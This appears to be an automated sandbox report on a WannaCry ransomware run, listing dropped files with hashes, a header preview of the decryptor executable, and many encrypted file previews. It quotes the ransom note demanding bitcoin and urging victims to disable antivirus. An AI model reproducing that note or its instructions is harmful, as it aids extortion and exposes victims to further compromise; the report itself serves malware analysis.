                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Downloads\@WanaDecryptor@.exe

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):245760
                                                                                                                                                                              Entropy (8bit):6.278920408390635
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                                                                              MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                                                                              SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                                                                              SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                                                                              SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Antivirus:
                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\Downloads\BJZFPPWAPT.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.864288506637368
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkjkko6cOlpeRU3iYrI2dbRdtT+zG5GSFBb7pJTEjA1YIuHMVt4QcoCUMY:bkgYERU3LI2ZRfyzgGSFbUcYI0e4QRd1
                                                                                                                                                                              MD5:64728EC53D139C072C16BB9FF6ABF0D1
                                                                                                                                                                              SHA1:9E29FCDE95B8343B8936402E9BDDC25B361E9229
                                                                                                                                                                              SHA-256:3F0BA9C79A53B3F3D3B07663EC76142A51ED97CD1131E08CEB9E773002D5FEDB
                                                                                                                                                                              SHA-512:7C3BB02F6C02BD0BC44646975DEA3E23DA900D9C62386B9362B4BE5D425294A0296E6C4526DC6C96A3E2079260DCEE5A7249AD6BC5A77AE7F3F4EA97915C17D0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......5..J....B.~?.....9..b.o.8...!....V)...g.i....@Q5,k.T.....V....T.4..!H}.c....#....&..S...5f..{.W.AC...~a.D.^.U...kg*........%...z.0.;.P...4.Dr..j~n|...,.xG|.9@.K^..W.'....+n.j...+........gr.I.<.p..j.R.A..c..W/.}..gzdI.y..^To..!. ..~...............[3.Oa..../C...H...s}.R..3.s...0.#.aZ`...;.S(....|._|.}...A(.%a.&v$.Bi..Kj|..L...5.6........x..w...5:.(.....,x.#X.<G..4..F.:...av.....'...E..%........G...`....#f.....~..T., Q....$Zi.&5.J5S*..K.T..gfm...:.[.Z.\.v...0~.i6.Z.......k.....C ..#.!..o}6i\.p.L..a&......Pc..F6h..K*.J.s...w.R8.......&r..._."....R..O.+.EP.Fm.=c.~;>.....f.~}D.&mI%.e....L.M..."2.og][ybe1"(.<.....G5..wVo.q..R..].7.^.L...Z..@]..!.d(h.. .^fr..ha2r..F@.a.O.....g.n.U..O....l.gq..Bt. .<...VZ.3.E**m.h^X.....:2.$Q,]..-.N..i.....yH.l.Id"..'.@{.m.G...s....sf...`.Qt.z....-....8..X..H....%./Bs|.J..~.z..G....~...#............B......:.)...`.Be..'.%.W=....K..x....AG.1)..;.@.B.(JM...`..g..@...O..N.Hn.2Q..spW...~>]@...[

                                                                                                                                                                              C:\Users\user\Downloads\BJZFPPWAPT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8363229893047865
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkaX/3foqS3BPcmJvk2+lRafFQZnUgM8qS+E2YdNa7x+P5w4KB1:bkaX/voRe7itgnUgMZSh2Qk7x+P5wDB1
                                                                                                                                                                              MD5:8D0BA41F60E5982061969F3E08BD60E6
                                                                                                                                                                              SHA1:E6C03D3733A3BABE25324590A65FE2D2DC69B40C
                                                                                                                                                                              SHA-256:16B0DC58FF51C3FF7E1349FBB631235B0CF9E836266AF7BCCBAC098B5CBD80B0
                                                                                                                                                                              SHA-512:56F0F3112FA66DE93A78912D623AB17457DCFCDB9EF24F2FE4E0E15DD5E9167210E41BB9A444CF061305DE3097C37BC89218AA500DE66843A3962BC5E6660AF9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......:"..{.=...2..G..^v....K...XP.......H.@Y(/..H....S.....r.CK.........=..s...gs<.Ho.C.i..G%O^_..?.H9sL.|..F*A..p.....5..+..k..%....^..0.;..X[..Ys.;Wa..L.. ..&L=..9.3.y.on..LA...5)....e.*l....]..Kn.].;.....$J..V....T...$.n........5{..].%......6............J..u... !.Bz...<#].m.j.[v..0....s..rs.s.....T"z........)...I..?7M.T..i......x<K5....!aOn..K..e.`..a..^E>....o.*m.4.,%x7k....Q..,..g...\.@Z.Y...|..Z....[)....6..E...n1{n..kz.{v.....=.q...L.*..b..K..A.%.....m...)..........5.e&I...,....?.IgL..b...........e...+....78;..1....D..Xm.(.../....r..W.g_b....U[`..-....\.m...e.N...".x.B....c$.._|....=.Z.6...K`..:.k.9~C8..."..>..Ma.-.2[.y@.......((8... ..Dph...........t..T+....84.=..2p~.........".....y..?..|..X..%4..l.....eVf.....@L.T.].....s..A.P..<&.B...7g.......;%.0.W...~...US...P..........V..v;1....r-^..[....s....H.W>.].9..>.^<;!...a...D...a.K....x..g...~..)j*..t....O...&...........b-'.O.........z.q.z<UQ.....1`..<.wQ...(s..gV..cR.....S

                                                                                                                                                                              C:\Users\user\Downloads\CZQKSDDMWR.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8332344776447
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkh83fZbcQdYq2E1X/8xBR0z3QQNSe9SIPjsSNUnZNJrnFRVGBOAxqfFUbta:bkqhbFZ2E92BR6gESe91mn3J5rGQ0q9J
                                                                                                                                                                              MD5:F9FAC2C9D8AB056A6B5DC1E3F3424D93
                                                                                                                                                                              SHA1:53617DC9CE889B7C377EA7521885613F801FC2A1
                                                                                                                                                                              SHA-256:DAB5B9ECC27A3F40416C7BEB28D92AFD87B89DDE93C5FD137A4022C53C51BCCD
                                                                                                                                                                              SHA-512:5F9C1698F4F1FFEA04F296CCC382373499A6AD7289B37E051B35AF9AF667BE03B6FF02109CA689B32C0BB4B62D8A1EE4EA2318F62EA85902D93EB580FFEFC18F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....u8T.`.bpB....2.s4Qx.p.:@=.<..T.Y.D.s]..*.T.EBJ,....zP%....J.A9S...v...{~A...2.4...]i.G=..e/)...i.%.p.4T..A..]k.:y...l....#4.......?......Y.....99F............b...$!E.5i.,H.n.2...n.Q.@..{....g......U[=..L..s..BR..<.<.n.p..d.P...../.1IT2.....GE...[............I..m....d...e..2.DJ..*a.=E........ry..N..(..r+..#.....;....).3i.Y..I...*....(..~p..f..`.+...E.....g.j..$....q.J.q..$f.,0..8...N.....,....,i|.k.n..Y.~...Z.m..s.!.K..U...W...m.E.M..f...-.v.'.D..J..y<..xEWmi......U..'.,...Wf0......%..QtF.i......A.M.'Q.ZD..R...d..nK...Dt......d..E..}.!.5.S...x..]L...`@d...H..(j~.9b...3....cnYW3.....5..b.`8...*U9b..M...om...V.[....RprTA..#.....0VGb....n{....1........Z.#n.......w...8.u.........xCb1Z..tr......}g.J-..4Q..Ah...Z.)(h.r...x.V.........^6..8.....\.s.S.`.F}U.fM...9.5.M...e..].CdX....1.]z..y.[h.B.,a.J...r.}.....*.q(t......x........xF.0....V.o..a( g.Z..?/..?..]}...f.:...-T.^.]H..#._D(.^....wy...[y.M..)2Wf...;q.*...C...&..#._..._s.A...-..^..:...

                                                                                                                                                                              C:\Users\user\Downloads\DUUDTUBZFW.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.849095315645433
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bktR9oLUiS/HJmhZxzwocGesTslxqkei1nLvv33ahAQlvaOdqXtnm:bktRupSvJsZwAeCsF1D3cKRtnm
                                                                                                                                                                              MD5:58981EEE1D8BF30BE5DD76DEBF33D7C5
                                                                                                                                                                              SHA1:9C55B7DC6E522997F7D0ECEDD5A7A3A73E2F569E
                                                                                                                                                                              SHA-256:284BDE7C66019AB116EB51BC0286725BB5AA4ED66FD3B48D91B8AEC0F1B1DB67
                                                                                                                                                                              SHA-512:0B1BD74539D352BA713A9AE2814E48A3645657F517464DD777BE9AD8FCAF1B4BB9EF0F6A534F656D39BE8D60BDDAC3A8AA2E66046519A750B6E93AA1A43F74D5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....+K..p...............].8i...|.C.0T.h..#..}.H....`!E.1...,Dh.iU..[f.C...n.)...{.JO....V}..'fS...!<......,..+..]'.nf......r:.,6-=..CYR..e..4{..lw).`..'..E5..)...<t~Lp~<...*.K+..m?.^tyR..=.g\...m8O\.,...5my.....o.o7....".......1../...%. .$..]e..Q,.d=.............t....A..Cf......h..G...a..Y...ew..........%...lx.u.. ..S..V~...a'`...Y.....,.5...4..~|L~.=,..L(.H......<.f.......8.k......|BX.L.5.....:.ie...5.V.H...tOlI.=.%..JS......F.j-......V\...*......D..X...R).*..}Z......9.Zu.:....m.k.....)7...wS..)W...Z{8.............v"R....*E.>h.W...70..d....}...DW...y...Q..h.+.E...8n.....}..!`..mP^.E.,...."._...b.....w+...5......6.4[...;9.5.)n..%.9.e....4Aj.;.I..Y.........e........2.....^0..\.h:9bz.....*.@.3|.j .U...v..\.>I..5.k....iq:.;l...{...a...<w.4...=7o@S.C...i.>.N.4o..K 9. ".f..jB.z...v..9.......FR=.*.-..cL'=U..E.g...+..u..c.cB..P>B..|&.....-.............6.g...d.=(.S.;..).)....o..98....+n.b#L...$...$.W.N\.-Y6.......Rz.a.

                                                                                                                                                                              C:\Users\user\Downloads\EFOYFBOLXA.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846570125272633
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkjnHwGZqfFn9eQS4Qg6Ueagk1yuINX+DuDs6nuC8SzNO6iFwsvxDkocMCvkRc:bkjnhE9jS9UeagkEuSXBjl8YriFwGFkd
                                                                                                                                                                              MD5:30EB3660132B18E97151F2E349AE6ECA
                                                                                                                                                                              SHA1:96A1BFC798839327A61765F4E029AADCCF5CF9E7
                                                                                                                                                                              SHA-256:BC355B196ECBD55CBFE24800272D243299AB6E2BCB5C036252B41EB6F8988783
                                                                                                                                                                              SHA-512:ED5DF9D4362DC53153D5DC9BDDE5752B1B56067098029E762D608879DFA5942DB09CEC344FDC6FFDBC411FFB75D1B47F699200A1DBD6CFCFADDCB06E2C2CC056
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....%l...:.e...D...S../.......7...G...?...`...m(`u@.p........i+..DE.l.Li[cz.w.&.....u.q6..W|.....J.1......j...}.r../...........(.[.@.....o..d.......>.B..r...p..&..t....xd.8...V#...Ag.SR....;..7...=x?........\.(O..B/p..3..lw.;...Z`<...o...+..EG.t~]c.8.............>i...|..G.....j..X.....'.H...[c....qt..&...U).n.q8..:...u.u......e..B.;..4.R......A...T......B....!..9'0.MO.1.d0...;7.|.h..8....~k.2C$!{i.7e.ku..c:..?*...Y....XBd.....\..6....:.s..b..nO.N)6..B..-wT.JHA...@.0...H.d.B....<.A.2^2..O.<.......?Q.l5....zF....J......J..kX...M6..R...4nb=|.\H'u .B.u.g.._...h....L..'.,T."..4sg...V..)^.$..@._..RP5NJ{Y.Q..u....w.M..w.w.?..t.....x....S......T9.>A..^.aO|k...Z...h.]C:..2.Y.N..."L....}a..A...\5.....7el..b.c..~~...R.0.....g.y..M.?s.K.e.t..y..pv...Y...#...h?.T.11U.O.w;...mt;.a..tz...0W...6U\x4..y....1.%.*.,.......tahT...{ [.....\..i....^..S....Tqoo.U..AT.\0..XF..B..-8P#...h...e...5V.Y.a..*.@.n@..U.}.6..9li@...1*....`..A$"....p0.$sO.y.Bj..T..U.)

                                                                                                                                                                              C:\Users\user\Downloads\EIVQSAOTAQ.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.830573730243901
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkO8c9LysQP8jqtI/wE5hgzavigJyqJHD4MCqH8cDEzWuN+KlvgBKskrAF7PvFO:bkOn9WsQP8jqtOwE5TitqJHD4VqccDEN
                                                                                                                                                                              MD5:1813ED994F68E559044577663B58AC07
                                                                                                                                                                              SHA1:5CC59DCA988642AF229C2BCEABDBE77E45010337
                                                                                                                                                                              SHA-256:DBC0B4C513A69A5043F2FB4D90EE671E5D8CCEF199E71166290177D3147DDD84
                                                                                                                                                                              SHA-512:BE19E43EFE81B88153985354D0CAF0D2BADB7E1427F9710922B4B7AE088EB6939FB4A1773DC287BC2AB26F9E5A1493645CB3172E956DAC07761AA26AFAE4DD37
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....a../...~...............g........~.;.:..P......A....U..x....K-.~Z../.F....%>.^.#HI..3~p.?a...a}.a.i...B;...y.X$.#H........p...I.'..<....$.h....-[.......!........B?lR.Hn..2...A.-.'...a`.=8[...M;.H.B..~..._.zS...K...,....&D..iUE...^.rT.[...c.h.6...................%.:uy.]6b.......jF.De../D4..Z..j .5.7.....JaEt...K.$T+t...l...^*)..U@....Q...._X......,_.....].pi.x.....&qN......,....oJ.G...-y...r..W4]....D......i..{.Cf.-.^h/p...0.R ..g.....h.\..d...n...6....b......<`P.......N.&~.#y.$.9.q.h..;..N.....)...#.....:~..!..dc.....)..I...dpVV0.n.p...L..7.....\.!.R.w.c,.!....vF.<.!q8U.|..Y.qO............W..h:..Za..O....)...i.$....=.P....^.3...c..>~V..p9......A.<Z&....gl..RE)[t.>.p..w........i...M-5.l^u@H...2..B......R.X..a8;v.{%....sT..Z(......9,xj4f.v."..T..Z.s...W.|.n*..85.>.s.I.k.E....XB.q..O.$X......8...q`a...{I...(..wK..X...N.......b..w..d$....c..6.....;.U..f>d..!....M.C.....!.Ai...d.u..7.....],a..(s>O....32.H.F..v,.D...~.wS[...hIn.m....hZE.H

                                                                                                                                                                              C:\Users\user\Downloads\EOWRVPQCCS.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.836727229938879
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkMdql3ZSmTAyBfxvkUQyTZ/A3DLi2Q5W46fRHktAoe2RPRIDM4v9SuGvOfPTckq:bkM43ZSIt3XVYfihbkRESp2xRID1v9Sb
                                                                                                                                                                              MD5:5FDA81711E24FCD8274418637C560007
                                                                                                                                                                              SHA1:A1D8EB9FAC13B524267D758BD6114A710DE2A64B
                                                                                                                                                                              SHA-256:F4CFF8EA1459C9EFDDF846FD6F2A888C4606B4E0D5B4CF3F27CF3B61A969F65B
                                                                                                                                                                              SHA-512:CA567B3409F66085C9CCF69B9F9CBBEE31E3E1CEB85380E9F13805921351B51036C108BBC29885EF0CCEB51AF2F80420BADBCBFBBFFCD053BF6C3DC3B8B0B126
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......7..+....WN.t..\......M(...t.` .......Tl....~...>[.K.~.Tl....6..2...+..r..u...K5w.z.".z.6'.Q_y..9..*_.h...3.Jg ...&vT.../Ou.e.*.P c.5..p.(.........U..D.S0*....[.2......q.9........c&.X".X...x.w\...>...~....m.5l".J?. -...CvL.....^"'.R.Ks.X&..................^mf.`cpym....a..Q..z...]..#.R..k....#..^.Dx.SP....N@..(U..B..<Q..Xj..z.i..QZ.O....cW..y.]......&.p.3U.....$.H.}CT...p.=..y..W.(}l~..=>(,8..X9+.T.._.2...$....1......=..%...c.17.c'.G.........*....,.4...E.."}......a..S.9qc..q.%.......E.e...@.p(.9].! ..w.... [vy!r........1...\.".c& oQ.....P.E.v..Y.?...^.....M.ha3.u..E..`......0..4.7.7...B..Q...c.. !(N.b..^F../:?G...@~b;].T.'.....O.d..-...7..._.1.b;..HhA..<.6.].!.../l.|......Y.8....!.n..i...|..d..Tu.p|...m.N.5.h...<(5GY$R7.~.I..h..3..jM..6+.xc.1e..z1...8.9.{...N....w...R.8.....".1s<t.........:'.....J/..V..c.uN...o}gJho|....O...sbJ..]zSb..O..i.......JzR.U.....7;D.7;..W.L\..z(e...A....A.O=J.....!g.]b....|..N$~..Ml...6.J./o....^2+..

                                                                                                                                                                              C:\Users\user\Downloads\EOWRVPQCCS.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.838188363595368
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk4j6KB6xjqW/DhynHSJmdkcFhJPZkpaDJhKVOaBSTmxmp8EVdwrARa0lprt:bkAOLLsSCDFhV5DJhufoimp846ERaEf
                                                                                                                                                                              MD5:040E7AFF6E15646A8FD9F44563A41B5E
                                                                                                                                                                              SHA1:DE98B7468850CF0BC360D3C3BC905061C1391953
                                                                                                                                                                              SHA-256:9AC740A4B934DAA7C37ABA720790EF4F24D9E085990ADB9448C6FBC9F61D6980
                                                                                                                                                                              SHA-512:F8ED42B94C73CF3C89678F67E42614B4A57F31C3C8E98AEC81AE75E7C7FE8DC922F3C2B0CD986FC5A01DC5203B9A5FB0462D576A41A396C0663CF766E152C211
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........H.}4....j...+J..j...I......+.FC.g...w........#.,'..|.-..:.....,.F...)..6.).. UX...{..d.F.*.7.Z{k&]..>.......v..VB9.V...4..w#7`...p..]]J.=A..Q.8...U..U..]q..Q...aio..).pZ....... O...#....bL.J..r.U......u.....+D...K......;....^7.Q..X.......^................Ae..2."gM&.&7......vp.`..k.....w.W+..a....*,...$.........z...a..z.3.Y......Z.g...'8.{..9.w....P^..=h...6....k...p.y..}.#.^..q&....(%.i. .T.Z.S..J...9...>.&.=....j.Q....5..w9)...b.x..O......l..g..#./2.F.D5...{a..f),..?*.)..b..~..1<..?.I+>....?ib..o.cx=..i......#W.?...].....B.......2MR.pu....r.K.......;\.D..[/6.3.......=..t\Qj.tB...m^.....i...\wL ..iX.-.@|....Xl..W.X.>+=<v..2Vy....L.JK7.t...z..K......i?Q.E...K...\?.>..b.AG$9+...v....<%.M.Q...i.d.R.*.;`&R..u_...y..)..e'.u.....D....L,K..;..A.S?..9..k...?..#...+.<.}8L.5......4..$....;..y.xq.............t.. ..,r...q.....".Y.PrcRb..,...H(....j.,e.P...[....s<...@..k.~...;......4......{...J..i....z...9.~O..t..2..N...(I?.......4....K\.

                                                                                                                                                                              C:\Users\user\Downloads\EOWRVPQCCS.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853313959171084
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkqsl1GoD60GwIM4Qa8XmD4/GvLICFwvJOiKVr/rhviyiBHs0NaROv:bkBbPGwI7QasmBj8Furz5ziHXao
                                                                                                                                                                              MD5:86EA641AEF7B47F48B8050B63A407B09
                                                                                                                                                                              SHA1:B92D79801FEF3944F2710F10057E21FAC7EE3874
                                                                                                                                                                              SHA-256:4DF798848CFBAFC581D04EDBAFDFC6B3404DA2A2778C80171188F958F750F479
                                                                                                                                                                              SHA-512:78F7DF34986DCA70455A3C30798E19FD45A9B9CE95A90C7F1D272BEBD45577D312B41A529761635E5FE6EFD0197A279EB45D54AB333D63CF5DEED9D1F78EA01E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....e.p.D._/..<l...U.w4T`...........b...l.TI.`.[.#$,....$rJ.N.i.s.f>.....o.Z..q.o...........@$..C....s....].....5.q.j..~....w..]....s...[...M.VQ...ZIs.+.[..8....p7...t;g.O".@.i.m....cd.F\.S.3.#...O..7%..*...J.mcB.Jz.3..g...4.jt..d..}....eiZG<Z..................``tX(.PO.....s..!!..k.!R....0...g....x..#.....=.e.\bQ..O..lx.*..TZ..<_]&..D.....(bf.......](!...~.C......t1..a..;%.....@.2".IG.qU._..J!..g..x.0....+}2v...\.,6..S..NU.....b..O..q..sY..'X.....k..`}.}.y..F.d|...p."...h.6..*.Fmo.j.Z..../f....6(..#[....OPp,..qY.-\..3.....E.\.C8>.&e.CK.K.e..w{..Zb%1i.....v2._'..dO.........).F.;].:.V.@r.c.{r.......}...jj..v.F,..:2C.].Q.......0'.[..........9.{....y._....z...E.Yg5...O....6N.$ V..-.!..F?..R)..a/....t..rc...p...o7... ..[[.c....n..$7....3x.....P.9..r.~-..../....Dy.u.a.&.~w..$...9......m.P.*..j[.mV.zyh......f.....$.3..E..W......FBS..Pc..H.s.<.\}G.R.1.].^.<_.K... .....q6.........D>.\`.....e.H.s.. ..D.(........EV.:..Q.p.B...

                                                                                                                                                                              C:\Users\user\Downloads\EWZCVGNOWT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.850503758988433
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkcYgvXUm4vMKE4qI+BFkW89rSQuadndxkEJmISZAbA5t3M9hdCgYQJ2:bkcbEbdE/LjsYxsnkTISkADMXFf2
                                                                                                                                                                              MD5:F38BF70016C72E9A260284CAA3FBEDEF
                                                                                                                                                                              SHA1:716BFE36D5494F92B283AF18E879C9EF9BC57EB8
                                                                                                                                                                              SHA-256:4DC7DB558F6110DE27CCA9CC8098C3481392D3F23ABD6EA92460EA239C34A8D1
                                                                                                                                                                              SHA-512:FAC8D3EE02A20E2DC6C9B01E00499D5022757A683B1272DE9DBF122484D0B2FDB3B3EF6A223C26A3693776714ABB9A0C3652EE84AEE8F99DB980ACC7A7A566D9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1N.....}.y....^^.`.....5F.=\....[...b.#&..b..........M.........[....9.!7..w.Y.J.L.Y|...I..E..8...d..\?.E^"..cs.l.lh.1.@..F/.rGA......4|...#..f<..55..F..T?..q...t.of.o.(...t.......a........J.j..[j.r.6z7.......2....q.ert..v.3..I........^E....K.............g.T.Y....E....5fQ...+d.....5A6z+..3.TdRJ...Z(..@.U.Dj<....b.i......99I.o...T.f.W.....SLn.F?..L...=U..T..v. ..)..y2.;..+.X..J..m......_.$&0.......,.T_.....HO.X.,F.....?..L:.....)>...iI.....k!.A.n.].q.)C.}.M.4.I8......I..1@U.w.R<.Bq..3...1..KY...G...P&.O.P...k.}..*.......d.4o$.>.L`K..o.OF.e5._K.5.. K.....[.g.O..^.c.13....K...].#.[R.n...m.-^.\.....B...a..._w..M...S.t..%4....Nz..Y......j..s..hLT.,..D...HTQ.'.n).C!..@..q..K.T....Ni.....s...s....P...x..Q.O+.!K...wT..>.(....^.?.3..(..N.DEXO...A....,.......i...d.]J.{....|.cZ_..7.0.s1....|..:}.1"..bl...w.."[..$.#\...*x*jG wC.}.}.?X.P..w./...V.....Wv..'g....4....:.7&...........Mpe.`..5e..Q9.}.i...N.K#\rt..8..........P...h.R.ri..+wD....8d..?

                                                                                                                                                                              C:\Users\user\Downloads\GIGIYTFFYT.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.823317371771384
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bksoX+5MQK/aB4qGGCTzyyfAqLFwpLhjEx71YdVj5c5yoi0dN1g9wdW8Y7FkbhD+:bkd+2QKCB4qGPeQxMx07+zNIyofgkh7O
                                                                                                                                                                              MD5:347012A4283229EEA8A9F45358383ABD
                                                                                                                                                                              SHA1:E08A95515464D534246BB15C55AC70F85D33E2B5
                                                                                                                                                                              SHA-256:2A172FA7405DD6ED3A2F2A44131E4E2F21502F44ABE9AB86D8FBEA3409B95ED6
                                                                                                                                                                              SHA-512:E0F80B355E131F000C7BC9261725AB48E4A830161C2DD92EC89CEF61C8D2FB429EF3635009C98E1521DE9FA0BF450186D559A6B7ABAEA06FCA41F7217F272BC5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....sn........B.#..).......h..s.<....pB/...}"%r.r...o|......H.3n..}#..].1.d...O......B.........N..1y.w.G_`;...........`c.....4.....Z.._"..f...q.......6U.T"......o.].......X...X.6-...j.*<.x\.. .u..9A../..q2TGf.m......8@...JcX....'Y....QI8x....................s)4to'.F...A_%..^.0..(........k..8#..s...D.t...w..."fes/4ab.)\..y_z-1j.tY.P...u~.@:MC.oGx^!x..c...g..g.......r......8...QN.+.,..[..^R"....?.UW...H..d.p....b4.............)y.n..R.....}.T.......T...HiS8./P....BM......S9(2.(M[;..UFx..^.ga8..5b.b...c.[...I.~^l.rW.u...u.&.\n..ZJ..s)........F.<8t.B..+>.pcy.B..~..1..R.......*<.a~x.E.e6Yx.t...~l...q...'.....W.w.JY....x.3._...I..w.B..\_...G=........qQ...tW.h..@is.....G..D.^.....u.."...8e..6....u@t]Pz...US..Y&.5.....D..3j5.*Jr|a6...{XSY. .Y.pO..$g...Z.A.*....:/V...}...Y.;..[."j...b.A.i..].,.......c.a..%M..lt}.g>Q$.....?.H.bQ....>44.O.k\.....)v.0........C.L)F..7....)b.)...i.d..R.iEA*Al9~;~=..<......."*...>7................m*...

                                                                                                                                                                              C:\Users\user\Downloads\GRXZDKKVDB.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
